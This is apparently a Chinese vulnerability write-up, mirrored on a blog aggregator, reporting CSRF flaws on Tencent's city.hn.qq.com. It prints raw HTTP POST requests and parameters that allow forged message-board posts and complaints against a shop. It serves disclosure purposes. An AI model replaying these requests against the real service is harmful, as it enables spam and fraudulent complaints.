zoukankan      html  css  js  c++  java
  • 腾讯大湘网某处csrf(city.hn.qq.com)可投诉刷留言

    触发点:

    http://city.hn.qq.com

    http://city.hn.qq.com/auto/c=shop&m=bbs&id=668

    wps_clip_image-7941

    POST /msgboard/message.php HTTP/1.1

    Host: c1.city.qq.com

    Connection: keep-alive

    Content-Length: 201

    Cache-Control: max-age=0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Origin: http://city.hn.qq.com

    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36

    Content-Type: application/x-www-form-urlencoded

    Referer: http://city.hn.qq.com/auto/c=shop&m=bbs&id=668

    Accept-Encoding: gzip,deflate,sdch

    Accept-Language: zh-CN,zh;q=0.8

    Post数据:

    rescode=auto_31&bid=578909&act=add&cs=utf-8&anony=2&content=aaaaaaa&attach=%E6%B9%96%E5%8D%97%E6%B9%98%E9%AA%8F%E6%B1%BD%E8%BD%A6%E9%94%80%E5%94%AE%E6%9C%8D%E5%8A%A1%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8

    rescode=auto_31&bid=578909&act=add&cs=utf-8&anony=2&content=post test!&attach=湖南湘骏汽车销售服务有限公司

    wps_clip_image-24334

    wps_clip_image-26348

    另一处:

    投诉。

    wps_clip_image-31764

    wps_clip_image-26689

    http://city.hn.qq.com/auto/c=shop&m=report

    wps_clip_image-19197

    reason

    test

    shop_id

    668

    tel

    13800138000

    type

    auto_315

    user

    test

    POST /auto/c=shop&m=report HTTP/1.1

    Host: city.hn.qq.com

    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

    Accept-Encoding: gzip, deflate

    参数:shop_id=668&type=auto_315&user=test&tel=13800138000&reason=test

  • 相关阅读:
    agc015D A or...or B Problem
    agc016E Poor Turkeys
    CTSC2016时空旅行
    假期的宿舍[ZJOI2009]
    上白泽慧音(luogu P1726
    小K的农场(luogu P1993
    Cashier Employment(poj1275
    Intervals(poj1201
    序列分割[Apio2014]
    特别行动队[APIO2010]
  • 原文地址:https://www.cnblogs.com/y0umer/p/3184449.html
Copyright © 2011-2022 走看看